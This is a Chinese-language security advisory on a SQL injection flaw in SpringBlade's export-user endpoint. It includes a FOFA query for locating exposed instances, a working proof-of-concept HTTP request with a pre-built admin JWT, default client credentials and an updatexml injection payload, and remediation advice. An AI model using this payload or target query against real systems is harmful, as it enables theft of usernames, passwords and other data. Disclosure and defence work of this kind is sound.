跳转至

SpringBlade export-user SQL 注入漏洞预警

漏洞描述

SpringBlade v3.2.0 及之前版本框架后台 export-user 路径存在安全漏洞,攻击者利用该漏洞可通过组件customSqlSegment 进行SQL注入攻击,攻击者可将用户名、密码等敏感信息通过 excel 导出。

影响范围

v3.2.0 <= SpringBlade

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
[已公开] [已公开] [已知]

风险等级

维度 评价
威胁等级 【高危】
影响面 【广】
攻击者价值 【中】
利用难度 【低】

漏洞复现

FOFA:body="https://bladex.vip"

POC/EXP:

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.UHWWVEc6oi6Z6_AC5_WcRrKS9fB3aYH7XZxL9_xH-yIoUNeBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1 HTTP/1.1 Host: 127.0.0.1:8085 Accept: application/json, text/plain, / DNT: 1 Authorization: Basic c2FiZXI6c2FiZXJfc2VjcmV0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Referer: http://127.0.0.1:8085/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

image-20231225113957325

修复方案

官方修复:

1、⼚商已发布了漏洞修复程序,请及时关注更新:https://github.com/chillzhuang/blade-tool

2、通过防⽕墙等安全设备设置访问策略,设置⽩名单访问。

3、如⾮必要,禁⽌公⽹访问该系统。